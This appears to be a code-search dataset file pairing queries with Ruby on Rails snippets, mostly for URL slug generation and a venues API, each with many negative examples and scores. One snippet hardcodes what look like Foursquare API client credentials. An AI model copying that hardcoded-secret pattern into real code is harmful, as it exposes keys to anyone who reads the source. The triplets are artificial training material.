query
stringlengths 7
9.55k
| document
stringlengths 10
363k
| metadata
dict | negatives
listlengths 0
101
| negative_scores
listlengths 0
101
| document_score
stringlengths 3
10
| document_rank
stringclasses 102
values |
|---|---|---|---|---|---|---|
This pattern was mostly borrowed from Rails' style of generating URLs. Here we just concatenate the `id` and a sanitized form of our title.
|
def to_param
"#{id}-#{title.to_s.gsub(/\p{^Alnum}/u, " ").gsub(/\s+/, "-").downcase}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def slug_by_title\n \"#{title.gsub(/[^a-zA-Z0-9]/, '-')}-#{id}\"\n end",
"def slug_by_title\n \"#{title.gsub(/[^a-zA-Z0-9]/, '-')}-#{id}\"\n end",
"def to_param\n if title\n \"#{id}-#{title.parameterize}\"\n else\n \"#{id}\"\n end\n end",
"def to_param\n \"#{id}-#{canonical_title.parameterize}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize}\"\n end",
"def to_param\n\t\t\"#{id}-#{title.parameterize}\"\n\tend",
"def to_param\n\t\t\"#{id}-#{title.parameterize}\"\n\tend",
"def to_param\n \"#{title.to_url}-#{id}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize[0..32]}\"\n end",
"def to_param\n \"#{id}-#{title.parameterize[0..32]}\"\n end",
"def to_param\n \"#{id}-#{title.gsub(/[^a-z0-9]+/i, '-')}\"\n end",
"def to_param\n \"#{id}-#{title.to_s.gsub(/\\W/, '_').downcase}\"\n end",
"def to_param\n \"#{id}-#{title.gsub(/[^a-z0-9]+/i, '-')}\"\n end",
"def to_param\n \"#{id}-#{self.title}\".parameterize\n end",
"def to_param\n \"#{id}-#{self.title}\".parameterize\n end",
"def to_param\n \"#{id} #{title}\".parameterize\n end",
"def to_param\n \"#{id}-#{title.gsub(/[^\\w]/, '-')}\"\n end",
"def anchor_id (title)\n CGI::escape(title)\n end",
"def to_param\n \"#{id}-#{title.gsub(/\\W/, '-').downcase}\"\n end",
"def to_param\n \"#{id} #{title}\".parameterize\n end",
"def to_param\n \"#{id} #{title}\".parameterize\n end",
"def to_param\n \"#{self.id}-#{self.title.gsub(/[^a-z0-9]+/i, '-')}\"\n end",
"def unique_format_name\n title + \" (#{id || \"?\"})\"\n end",
"def to_param\n \"#{id}-#{title}\".downcase.gsub(/\\W+/, \"-\").gsub(/^[-]+|[-]$/,\"\").strip\n end",
"def title_url\n \"#{self.title.downcase.gsub(' ', '-')}\"\n end",
"def to_param\n if not self.title.blank?\n [self.id, self.title.parameterize].join('----')[0,64]\n else\n self.id.to_s\n end\n end",
"def to_param\n FeedEntry.slugize(title, 10)\n end",
"def generate_slug_from_title\n self.slug = self.title.downcase.gsub(' ','-')\n end",
"def generate_slug\n self.slug = title.parameterize if title\n end",
"def titleIdentifier\n titleIdentifier = title + ' / ' + author\n titleIdentifier\n end",
"def slug\n Inflector.parameterize(@title, \"_\")\n end",
"def generate_slug\n self.slug = self.title[0..47].parameterize\n end",
"def generate_slug\n self.slug = self.title[0..47].parameterize\n end",
"def to_param\n\t\t\"#{id}-#{title.downcase.gsub(/[(,?!\\'\":.)]/, '').gsub(' ', '-').gsub(/-$/, '')}\"\n\tend",
"def title_for(**options)\n\t\t\t\t\tif title = options[:title]\n\t\t\t\t\t\treturn title\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t# Generate a title from a field name:\n\t\t\t\t\tif field_name = field_for(**options)\n\t\t\t\t\t\t# Remove postfix \"_id\" or \"_ids\":\n\t\t\t\t\t\treturn Strings::to_title(field_name.to_s.sub(/_ids?/, ''))\n\t\t\t\t\tend\n\t\t\t\tend",
"def title\n [id, name].join(' ')\n end",
"def parameterize(id=nil)\n # Prepare the ID portion or blank it\n id = id.blank? ? \"\" : \"#{id}-\"\n\n # Remove HTML\n slug = self.downcase.strip.gsub(/<(.|\\n)*?>/,'')\n \n # Decode HTML Entities\n # “ => “ (smart quotes)\n slug = HTMLEntities.new.decode(slug)\n \n # Clean weird characters, and weird win1252 character set conversions\n slug = slug.gsub(\"\\342\\200\\230\",'') # single quote\n slug = slug.gsub(\"\\342\\200\\231\",'') # single quote\n slug = slug.gsub(\"\\342\\200\\234\",'') # double quote\n slug = slug.gsub(\"\\342\\200\\235\",'') # double quote\n slug = slug.gsub(\"\\342\\200\\224\",'') # mdash\n slug = slug.gsub(/[\\240]/,'-') \n slug = slug.gsub(/[\\…\\–\\/]/,'-') # Convert some characters into dashes\n \n # Remove some common weird characters\n slug = slug.gsub(/[\\©\\®\\!\\@\\#\\$\\%\\^\\&\\*\\?\\+\\=\\:\\;\\<\\>\\[\\]\\{\\}\\~\\|\\\\\\_\\,\\`\\'\\\"\\.\\(\\)]/,'')\n \n # Remove leading dashes\n slug = slug[0..0].eql?(\"-\") ? slug[1..-1] : slug\n\n # Join the portions, and replace non-word (+i18n) characters with dashes\n # Squeeze runs of dashes, chomp off trailing dashes, and present\n (id+slug).gsub(/[^\\w]/, '-').squeeze('-').chomp('-')\n end",
"def create_html_id\n self.html_id = title.blank? ? \"element-unnamed\" : title.downcase.gsub!(/[^a-zA-Z0-9\\-_]+/, '-')\n end",
"def to_param\n title.downcase.strip.gsub(' ', '-').gsub(/[^\\w-]/, '')\n end",
"def to_param\n id.to_s + \"-\" + slug\n end",
"def to_param\n id.to_s + \"-\" + slug\n end",
"def generate_slug\n \tself.slug = title.parameterize\n end",
"def generate_slug(title)\n title = clean_title title\n # Strip the string\n ret = title.downcase.strip\n\n # Blow away apostrophes\n ret.gsub! /['`]/,\"\"\n\n # @ --> at, and & --> and\n ret.gsub! /\\s*@\\s*/, \" at \"\n ret.gsub! /\\s*&\\s*/, \" and \"\n\n # Replace all non alphanumeric, underscore or periods with underscore\n ret.gsub! /\\s*[^A-Za-z0-9\\.\\-]\\s*/, '_' \n\n # Convert double underscores to single\n ret.gsub! /_+/,\"_\"\n\n # Strip off leading/trailing underscore\n ret.gsub! /\\A[_\\.]+|[_\\.]+\\z/,\"\"\n\n ret\nend",
"def to_param\n slug ? slug.to_friendly_id : id.to_s\n end",
"def old_param\n \t\"#{self.id}-#{self.title}\".parameterize\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def title_copy\n \t title + ' ' + id.to_s\n end",
"def slug_base_string\n self.id || sluggify\n end",
"def href\n @title.gsub(/[^a-zA-Z0-9]+/, '-')\n end",
"def to_param\n slug # or \"#{id}-#{name}\".parameterize\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n self._slug.blank? ? id.to_s : \"#{id}-#{self._slug}\"\n end",
"def slug\n title.downcase.gsub(\" \", \"_\")\n title.gsub(\".\",\"\")\n end",
"def build_slug\n if slug.blank? or title_changed?\n self.slug = self.title.blank? ? Time.now.strftime('%s') + id.to_s : ActiveSupport::Inflector.transliterate(title).downcase.gsub(/[^\\w]+/, '-')\n\n\n i = 0\n # Slug must be unique, so we try guess a good one\n loop do\n if Post.where(:slug => slug).count == 0\n break\n end\n i += 1\n if slug == 1\n slug = [slug, sprintf('%03d', i)].join('-')\n else\n orig_slug = slug.scan(/^(.+)-(\\d+)$/).flatten.first\n slug = [orig_slug, sprintf('%03d', i)].join('-')\n end\n end\n end\n end",
"def get_slug_for(title)\n title.downcase.gsub(/[^a-z0-9_\\s-]/, '').gsub(/\\s+/, '-')\n end",
"def to_param\n \"#{id}-#{slug}-\"\n end",
"def to_param\n #'foo'\n #{id}-#{permalink}\"\n permalink\n end",
"def create_url\n\t\tif self.url.blank?\n\t\t\tself.url = self.title.downcase.gsub(/[^a-zA-Z0-9]+/, \"-\").chomp(\"-\")\n\t\tend\t\n\tend",
"def sanitized_title\n @sanitized_title ||= title.downcase.gsub(/[\\s\\x00\\/\\\\:\\*\\?\\\"<>\\|]+/, '-')\n end",
"def generate_short_url\n # encode base 10 id as base 62 string as seen here https://gist.github.com/zumbojo/1073996\n i = id\n return Constants::ALPHABET[0] if i.zero?\n s = ''\n base = Constants::ALPHABET.length\n while i > 0\n s << Constants::ALPHABET[i.modulo(base)]\n i /= base\n end\n update_attributes(short_url: s.reverse)\n end",
"def build_uri\n unless title.blank?\n self.uri = title.mb_chars.normalize(:d).split(//u).reject { |e| e.length > 1\n }.join.gsub(\"\\n\", \" \").gsub(/[^a-z0-9\\-_ \\.]+/i, '').squeeze(' '\n ).gsub(/ |\\.|_/, '-').gsub(/\\-+/, '-').gsub(/(^\\-)|(\\-$)/, '').downcase\n end\n end",
"def normalize_link_id(id); end",
"def titleize(keep_id_suffix: false)\n ActiveSupport::Inflector.titleize(self, keep_id_suffix: keep_id_suffix)\n end",
"def to_param\n if url\n url.gsub(/[\\/\\ \\.]/,'-')+\"-\"+id.to_s\n end\n end",
"def slug\n sanitized_uri = uri.gsub(/[^\\w]/, '_').gsub('__', '_')\n \"#{sanitized_uri}_#{action.downcase}_#{self.object_id}\"\n end",
"def to_param\n title ? title.gsub('/','%2F') : ''\n end",
"def slug\n parts = Array.new\n parts << event.short_code\n parts << title.parameterize.to_s\n parts.join(\"-\")\n end",
"def to_param\n \"here-is-my-title\"\n end",
"def slugfy\n# self.slug = title.gsub(/\\W/, '-').downcase\n self.slug = title.parameterize.to_s\n end",
"def to_param\n \"#{id}-#{slug}\"\n end",
"def titleize\n\t\tif @title.nil?\n\t\t\tmeta = @source.titleize metadata\n\t\t\t@title = \"#{@settings.title || @origin_id} - #{meta}\"\n\t\tend\n\t\treturn @title\n\tend",
"def to_slug\n self.title.parameterize\n end",
"def slug\n self.title.downcase.gsub(/\\s+/, '-').gsub(/[^a-z0-9_-]/, '').squeeze('-')\n end",
"def slug\n self.title.downcase.gsub(/\\s+/, '-').gsub(/[^a-z0-9_-]/, '').squeeze('-')\n end",
"def to_param\n \"#{id}-#{name}\".parameterize if id.present?\n end",
"def set_title\n @title = File.basename(@absolute_path)\n @title.sub!(/^[0-9][0-9]-/, '')\n @title.gsub!(/_/, ' ')\n @title.gsub!(/-/, ', ')\n end",
"def normalize_friendly_id(input)\n input.to_s.to_url\n end",
"def normalize_friendly_id(input)\n input.to_s.to_url\n end",
"def normalize_friendly_id(input)\n input.to_s.to_url\n end",
"def normalize_friendly_id(input)\n input.to_s.to_url\n end",
"def to_param\n permalink = self.first_name + \"-\" + self.last_name\n \"#{id}-#{permalink}\"\n end",
"def feed_content_id(feed)\n \"feed_#{feed.id}_#{feed.title.parameterize}_#{feed.service.name.parameterize}\".gsub('+', '-').html_safe\n end",
"def compute_slug\n \"#{normalize_slug_base_string}-#{self.id || sluggify}\"\n end",
"def fix_title\r\n # Remove quotes if the user thought they needed them\r\n self.title = self.title.gsub(/^(?:'|\")(.*)(?:'|\")$/, '\\1')\r\n end",
"def parameterize_title_for_name\n self.name = title.parameterize if title\n end",
"def to_param\n \"#{id}-#{slug}\"\n end",
"def to_param\n \"#{id}-#{slug}\"\n end",
"def to_param\n id.to_s << \"-\" << (name ? name.parameterize : '' )\n end"
] |
[
"0.79633814",
"0.79633814",
"0.76133287",
"0.74743444",
"0.7466054",
"0.7420295",
"0.7420295",
"0.7383907",
"0.7383907",
"0.736635",
"0.73506486",
"0.73506486",
"0.73481745",
"0.73453933",
"0.73443717",
"0.7310359",
"0.7310359",
"0.7304273",
"0.7295721",
"0.72705746",
"0.7165668",
"0.7132172",
"0.7132172",
"0.7108294",
"0.7106211",
"0.7090561",
"0.7029172",
"0.70053357",
"0.69779706",
"0.69372493",
"0.69078505",
"0.6877691",
"0.68696994",
"0.6855957",
"0.6855957",
"0.6854742",
"0.6832099",
"0.6810482",
"0.6809487",
"0.68018466",
"0.67882085",
"0.67707855",
"0.67707855",
"0.6769562",
"0.6715788",
"0.6711557",
"0.66774005",
"0.66705644",
"0.66705644",
"0.66705644",
"0.6647107",
"0.6640278",
"0.66341853",
"0.66161144",
"0.66037446",
"0.66037446",
"0.66037446",
"0.66037446",
"0.66037446",
"0.66037446",
"0.66037446",
"0.66037446",
"0.66037446",
"0.65615255",
"0.6510263",
"0.64888656",
"0.64762974",
"0.64752555",
"0.646782",
"0.6454654",
"0.6443184",
"0.6413978",
"0.64038986",
"0.6399056",
"0.63803226",
"0.637886",
"0.6373778",
"0.63712704",
"0.6367104",
"0.63580155",
"0.6353958",
"0.6349063",
"0.633239",
"0.63313186",
"0.6329273",
"0.6329273",
"0.6326695",
"0.63119745",
"0.63067573",
"0.63067573",
"0.63067573",
"0.63067573",
"0.6303761",
"0.6301787",
"0.62923855",
"0.6281854",
"0.6279213",
"0.6269572",
"0.6269572",
"0.62639695"
] |
0.7080661
|
26
|
`Ohm::Slug` just uses the value of the object's `to_s`.
|
def to_s
title.to_s
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def slug_string\n self.name\n end",
"def slug_base_string\n self.id || sluggify\n end",
"def as_slug\n Swift::Transliteration.slugize self\n end",
"def slugando\n\t\tself.slug = summary.parameterize.to_s\n\tend",
"def compute_slug\n \"#{normalize_slug_base_string}-#{self.id || sluggify}\"\n end",
"def to_slug\n self.title.parameterize\n end",
"def model_slug\n slug\n end",
"def to_param\n\t\tslug\n\tend",
"def to_param\n\t\tslug\n\tend",
"def normalize_slug\n self.slug = normalize_friendly_id(slug)\n end",
"def slug\n @slug ||= begin\n raw = self['identifier'].find { |id| id.start_with?('slug:') }\n Spot::Identifier.from_string(raw).value unless raw.nil?\n end\n end",
"def normalize_slug\n self.slug = normalize_friendly_id(slug)\n end",
"def normalize_slug\n self.slug = normalize_friendly_id(slug)\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def to_param\n slug\n end",
"def slug; end",
"def slug; end",
"def slug\n @attributes[:slug] = @attributes[:name] && PublicEarth::Db::Collection.create_slug(@attributes[:name]) unless @attributes[:slug] \n @attributes[:slug]\n end",
"def to_param # overridden\n slug\n end",
"def slug=(_arg0); end",
"def set_slug\n write_attribute(:cached_slug, self.to_slug)\n end",
"def generate_slug\n self.slug = self.name.parameterize\n end",
"def cached_slug\n id.to_s\n end",
"def set_slug\n self.slug = title.downcase.tr(\" \", \"_\") if slug.blank?\n slug\n end",
"def to_param\n self.slug\n end",
"def to_param\n self.slug\n end",
"def set_slug\n self.slug = self.title.parameterize\n end",
"def slug\n self.title.downcase.gsub(\" \", \"-\") unless self.title.nil?\n end",
"def generate_slug_from_title\n self.slug = self.title.downcase.gsub(' ','-')\n end",
"def generate_slug\n self.slug = self.title[0..47].parameterize\n end",
"def generate_slug\n self.slug = self.title[0..47].parameterize\n end",
"def slugify\n self.slug = name.parameterize\n end",
"def slug\n ActiveModel::Naming.route_key(self.class.model)\n end",
"def slugify\n self.slug = name.parameterize \n end",
"def set_slug\n self.slug = title.downcase.gsub(\" \", \"_\") if slug.blank?\n slug\n end",
"def slug\n self.name.gsub(\" \", \"-\").downcase\n end",
"def slug\n self.name.downcase.gsub(' ', '-')\n end",
"def slug\n self.name.downcase.gsub(' ', '-')\n end",
"def slug\n self.fields[:slug]\n end",
"def slug\n path\n end",
"def titleize_slug(slug); end",
"def set_slug\n self.slug = full_name.parameterize\n end",
"def post_slug(other); end",
"def generate_custom_slug\n\t\t# \"#{convert_to_lowercase_to} #{convert_to_lowercase_from}\"\n\t\t\"#{self.id}\"\n\tend",
"def set_slug\n self.slug = title.parameterize\n end",
"def slug\n (self[:headline] || '').parameterize\n end",
"def slug\n sanitized_uri = uri.gsub(/[^\\w]/, '_').gsub('__', '_')\n \"#{sanitized_uri}_#{action.downcase}_#{self.object_id}\"\n end",
"def slug\n self.name.downcase.gsub(/[^a-z0-9]/, '-').squeeze('-')\n end",
"def to_param\n slug ? slug.to_friendly_id : id.to_s\n end",
"def set_slug\n \t \tself.slug = name.to_slug unless name.blank?\n\tend",
"def slug\n self.name.downcase.gsub(\" \", \"-\") unless self.name.nil?\n end",
"def slug\n self.name.downcase.gsub(\" \", \"-\") unless self.name.nil?\n end",
"def slug\n fetch[:slug]\n rescue NoMethodError\n nil\n end",
"def to_param\n \"#{ slug }\"\n end",
"def generate_slug\n \tself.slug = title.parameterize\n end",
"def to_uwp_slug(value)\n return value.to_uwp_slug if value.respond_to?(:to_uwp_slug)\n case value\n when String then value\n when Integer then INTEGER_TO_UWP_SLUG.fetch(value, value).to_s.upcase\n end\n end",
"def generate_slug\n self.slug = name.parameterize if name.present?\n end",
"def set_slug\n self.slug = make_slug(name)\n end",
"def slug\n self.name.strip.gsub(\" \", \"-\").downcase\n end",
"def slug\n self.name.strip.gsub(\" \", \"-\").downcase\n end",
"def slug\n self.title.downcase.gsub(/\\s+/, '-').gsub(/[^a-z0-9_-]/, '').squeeze('-')\n end",
"def slug\n self.title.downcase.gsub(/\\s+/, '-').gsub(/[^a-z0-9_-]/, '').squeeze('-')\n end",
"def generate_slug\n self.slug = title.parameterize if title\n end",
"def slug\n Inflector.parameterize(@title, \"_\")\n end",
"def to_param\n slug # or \"#{id}-#{name}\".parameterize\n end",
"def set_slug\n self.slug = KeyGenerator.generate(8) if self.slug.blank?\n end",
"def slug=(value)\n changed\n @attributes[:slug] = value\n end",
"def generate_path_slug\n slug = \"/#{sluggerize(self.title)}.#{format_class.responds_to.to_s}\"\n end",
"def friendly_id\n slug(true).to_friendly_id\n end",
"def to_param\n FeedEntry.slugize(title, 10)\n end",
"def generate_slug!\n\t\tself.slug = self.id.to_s(36)\n\t\tsave\n\tend",
"def slugify\n # this is the correct way to sets the value to the attribute\n # parameterize(\"Donald E. Knuth\") # => \"donald-e-knuth\"\n self.slug = name.parameterize\n end",
"def build_slug\n if slug.blank? or title_changed?\n self.slug = self.title.blank? ? Time.now.strftime('%s') + id.to_s : ActiveSupport::Inflector.transliterate(title).downcase.gsub(/[^\\w]+/, '-')\n\n\n i = 0\n # Slug must be unique, so we try guess a good one\n loop do\n if Post.where(:slug => slug).count == 0\n break\n end\n i += 1\n if slug == 1\n slug = [slug, sprintf('%03d', i)].join('-')\n else\n orig_slug = slug.scan(/^(.+)-(\\d+)$/).flatten.first\n slug = [orig_slug, sprintf('%03d', i)].join('-')\n end\n end\n end\n end",
"def set_slug\n if self.slug.blank?\n self.slug = self.name.parameterize.downcase unless self.name.nil?\n end\n end",
"def to_slug\n #strip the string\n ret = self.strip\n \n #blow away apostrophes\n ret.gsub! /['`]/,\"\"\n \n # Reemplazamos tildes por normales\n ret = ret.html_encode\n ret.downcase!\n ret.gsub! /&/i, '_'\n ret.gsub! /&([a-z])acute;/i, '\\1'\n ret.gsub! /&([a-z])tilde;/i, '\\1'\n ret = ret.html_decode\n\n # @ --> at, and & --> and\n ret.gsub! /\\s*@\\s*/, \"_\"\n ret.gsub! /\\s*&\\s*/, \"_\"\n\n #replace all non alphanumeric, underscore or periods with underscore\n ret.gsub! /\\s*[^A-Za-z0-9\\.\\-]\\s*/, '_' \n \n #convert double underscores to single\n ret.gsub! /_+/,\"_\"\n \n #strip off leading/trailing underscore\n ret.gsub! /\\A[_\\.]+|[_\\.]+\\z/,\"\"\n \n return ret\n end",
"def slug=(value)\n write_attribute(:slug, value) if value.present?\n end",
"def slug=(value)\n write_attribute(:slug, value) if value.present?\n end",
"def slug=(value)\n write_attribute(:slug, value) if value.present?\n end",
"def update_slug\n source = self[model.slug_options[:gen_from]] || \"\"\n slug = ActiveSupport::Inflector.transliterate(source) # remove accents\n .gsub(/&/,'and') # switch out &\n .gsub(/@/,'at') # switch out @\n .parameterize('-') # cleanup remaining odd characters and link with hyphens\n if slug.length > 0\n if s = unique_slug(slug)\n slug = s\n end\n else\n slug = random_slug\n end\n self.slug = slug\n end",
"def slugify\n self.slug = self.name.downcase.strip.gsub(' ', '-').gsub(/[^\\w-]/, '')\n end",
"def to_param_from_slug\n slug? ? slug.to_friendly_id : id.to_s\n end",
"def to_param_from_slug\n slug? ? slug.to_friendly_id : id.to_s\n end",
"def to_param_from_slug\n slug? ? slug.to_friendly_id : id.to_s\n end"
] |
[
"0.7330686",
"0.7318265",
"0.7284198",
"0.72534746",
"0.7250964",
"0.7232965",
"0.71368796",
"0.69758606",
"0.69758606",
"0.6946584",
"0.69367075",
"0.6909818",
"0.69081855",
"0.69035494",
"0.69035494",
"0.69035494",
"0.69035494",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6871828",
"0.6869628",
"0.6869628",
"0.68586534",
"0.68391097",
"0.68299246",
"0.6829875",
"0.6821702",
"0.68202996",
"0.68158066",
"0.68062335",
"0.68062335",
"0.67878205",
"0.677428",
"0.677009",
"0.67683697",
"0.67683697",
"0.67679286",
"0.67580503",
"0.6745826",
"0.6739884",
"0.6730343",
"0.6729676",
"0.6729676",
"0.6728479",
"0.6723699",
"0.671384",
"0.6702476",
"0.6695722",
"0.6694653",
"0.66939986",
"0.6691158",
"0.6661684",
"0.6657978",
"0.66544676",
"0.6651946",
"0.66504616",
"0.66504616",
"0.6634089",
"0.66332066",
"0.6632314",
"0.66297424",
"0.66275775",
"0.6621867",
"0.66133994",
"0.66133994",
"0.66090924",
"0.66090924",
"0.65978575",
"0.65922177",
"0.658222",
"0.65811354",
"0.65752846",
"0.6570206",
"0.65627843",
"0.6543176",
"0.652915",
"0.65221035",
"0.65152234",
"0.65093756",
"0.65026104",
"0.649597",
"0.649597",
"0.649597",
"0.64892286",
"0.6487771",
"0.64838505",
"0.64838505",
"0.64838505"
] |
0.0
|
-1
|
GET /api/venues/:id Get a specific venue
|
def show
@venue = Venue.fetch(params[:id])
render json: @venue
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def venue(id)\n get(\"venues/#{id}\").venue\n end",
"def venue(id)\n options = { :venue_id => id }\n get('/venue_info', options)\n end",
"def venue(vid, options = {})\n options.merge!({ :query => { :key => @api_key } })\n self.class.get(\"/venues/#{vid}\", options)\n end",
"def show\n @venue = Venue.find(params[:id])\n\n render json: @venue\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def show\n @venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @venue }\n end\n end",
"def venue_events(id)\n get(\"venues/#{id}/events\").events\n end",
"def venue\n \t@events = Event.where(:venue => params[:venue])\n\n \trespond_to do |format|\n \t\tif @events.size>0\n \t\t\tformat.html { render json: {:message => \"Here are the details of #{@events.size} event(s) happening in #{params[:venue]}.\", :events => @events}}\n \t\telsif @events.size<=0\n \t\t\tformat.html { render json: {:message => \"Cannot find event - that venue does not exist. Please enter a valid venue.\"}}\n \t\tend\n \tend\n end",
"def venue_stats(id, options = {})\n get(\"venues/#{id}/stats\", options)\n end",
"def show\n #@restroom = Restroom.find(params[:id])\n @venue = client.venue(:query => params[:venue_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def show\n venue = Venue.find(params[:id])\n\n redirect_to_venue_index(venue)\n end",
"def venues(options = {})\n self.class.require_latitude_and_longitude(options)\n\n response = self.class.get(\"/venues.json\", :query => options, :basic_auth => @auth)[\"venues\"]\n response && response.flatten\n end",
"def show\n @manage_venue = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @manage_venue }\n end\n end",
"def edit_venue\r\n @venue = Venue.find(params[:id])\r\n end",
"def show\n @paper_venue = PaperVenue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @paper_venue }\n end\n end",
"def edit_venue(id, options = {})\n post(\"venues/#{id}/edit\", options)\n end",
"def show\n @venue_product = VenueProduct.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue_product }\n end\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n\n end",
"def venue_show\n client = Foursquare2::Client.new(:client_id => '45M1USHSGHPODOQWPSYJGAW50GBCMIHCKVQF410CKBCSO024', :client_secret => '4GO20RGY0BTI3VAQSS04P35AJ4A0DIZWF2JWLRPBFP0SDNQK',:api_version => '20140201')\n #@restroom = Restroom.find(params[:id])\n @venue = Venue.find_by_venue_id(params[:venue_id])\n @review = Review.new\n #@pics = client.venue_photos(params[:venue_id], options = {:group => 'venue'})\n @review.venue_id = @venue.id\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @restroom }\n end\n end",
"def show\n @venue_config = VenueConfig.get!(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue_config }\n end\n end",
"def show\n @place = Venue.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @place }\n end\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.find(params[:id])\n end",
"def set_venue\n @venue = Venue.friendly.find(params[:id])\n end",
"def set_venue\n @venue = Venue.friendly.find(params[:id])\n end",
"def show\n @venue_role = VenueRole.find(params[:id])\n end",
"def index\n @venues = Venue.all\n end",
"def venue_links(id)\n get(\"venues/#{id}/links\").links\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @venue }\n end\n end",
"def show\n @title = \"Profile\"\n @user = User.find(params[:id])\n @venues = @user.venues\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @user }\n end\n end",
"def set_venue\n @venue = Venue.find(params[:venue_id])\n end",
"def set_venue\n @venue = Venue.find(params[:venue_id])\n end",
"def show\n\n @venue = Venue.find(params[:id])\n @concerts = Concert.where(:venue_id=>@venue.id)\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def index\n @venues = Venue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @venues }\n end\n end",
"def show\n\n\n # respond_to do |format|\n # format.html # show.html.erb\n # format.json { render json: @venue }\n # end\n end",
"def create\n if params[\"foursq_id\"]\n @foursq_venue = foursquare.venues.find(params[\"foursq_id\"])\n @venue = Venue.new_from_4sq(@foursq_venue)\n else\n @venue = Venue.new(params[:venue])\n end\n\n respond_to do |format|\n if @venue.save\n format.html { redirect_to @venue, notice: 'Venue was successfully created.' }\n format.json { render json: @venue, status: :created, location: @venue }\n else\n format.html { render action: \"new\" }\n format.json { render json: @venue.errors, status: :unprocessable_entity }\n end\n end\n end",
"def herenow(id, options = {})\n get(\"venues/#{id}/herenow\", options).hereNow\n end",
"def index\n @venues = current_user.venues\n end",
"def search_venues options={}\n response = get(\"/venues/search\", options)[\"response\"]\n @venues = response[\"venues\"].collect{|venue| Foursquared::Response::Venue.new(self, venue)}\n end",
"def venue_search(ll, options = {})\n get('venues/search', { :ll => ll }.merge(options)).venues\n end",
"def venue_listed(id, options = {})\n get(\"venues/#{id}/listed\", options).lists\n end",
"def venue_likes(id)\n get(\"venues/#{id}/likes\").likes\n end",
"def new\n @venue = Venue.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @venue }\n end\n end",
"def show\n @venue = Venue.find(params[:id])\n\t\tremove_old_attendees\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @venue }\n format.json { render :json => @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end",
"def new\n @venue = Venue.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @venue }\n end\n end",
"def managed_venues\n\t\t\t get('venues/managed').venues\n\t\t\tend",
"def set_venue\n @venue = Venue.find_by_slug(params[:id])\n @venue = Venue.find_by_id(params[:id]) if @venue.nil?\n end",
"def show\n @event = Event.find(params[:id])\n @verbindung = Verbindung.find(params[:verbindung_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
